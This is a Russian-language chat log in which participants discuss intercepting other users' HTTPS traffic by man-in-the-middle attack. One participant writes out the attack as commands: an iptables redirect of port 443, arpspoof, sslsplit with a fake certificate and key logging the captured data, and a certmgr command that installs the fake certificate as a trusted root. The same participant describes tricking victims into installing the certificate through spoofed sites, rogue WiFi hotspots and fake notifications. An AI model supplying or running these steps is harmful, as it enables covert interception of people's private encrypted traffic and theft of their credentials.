Добро пожаловать Hagzer Colaro. Не ответив на вопрос, будешь удалён из чата

так сертификат ещё как-то подменить надо в хранилище юзера... точнее добавить свой

Hagzer, пылесос или хлеборезка?

перенаправление трафика + sslsplit

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

(arpspoof)

sslsplit -D -l connections.log -L data.log -c fake_cert.crt -k fake_key.key ssl 0.0.0.0 8443

Перед этим подписать сертификат, чтобы у юзера открывались сайты: (для Windows) certmgr.exe -add -c fake_cert.crt -s -r localMachine root

И насчёт импортирования, кстати, сейчас каждый юзер когда заходит на сайт - автоматически кликает "скачать сертификат". Не сложно подменить сайт, и заставить его скачать твой сертификат. В конце концов, можно подменить WiFi, и там перенаправлять на свой сайт с просьбой скачать сертификат

Добро пожаловать Stv Y. Не ответив на вопрос, будешь удалён из чата

nasm?

где ты видел нечто просящее скачать сертификат? ни разу не встречал...

просьбы скачать сертификат, это уже тревожный звоночек, надо сразу закрывать страницу

Ну на смартфонах, как минимум, постоянно вижу. Как захожу на сайт - просят добавить сертификат.
И друзья у меня постоянно тыкают "добавить"

ты где живёшь? в какой стране, смысле

А это тут причём?
Да и вообще, тут дело в социальной инженерии. Заставить сертификат скачать несложно
Хотя мне и для анализа HTTPS траффика хватает sslstrip

В Казахстане видел только такое. А так на телефоне только уведомления видел

Да, уведомления
Иногда ещё на рекламных сайтах делают фейк-уведомление. Срабатывает в большинстве

затем, что я ни разу не натыкался на подобное, никогда ничего не просило

и они именно об установке сертификата?

Ну так это другое, там не говорят же качать. Хотя если бы было про сертификаты, все бы жали, да

Просто на сайты мало заходишь))

а нечего по сомнительным местам лазать

На чём прогаешь?

А кто сказал "лазить"
Просто такая техника существует. Тебя никто спрашивать не будет, когда весь твой траффик будут перенаправлять на точку доступа  с сайтом злоумышленника, и просить таки установить сертификат, а никуда ты больше и не зайдёшь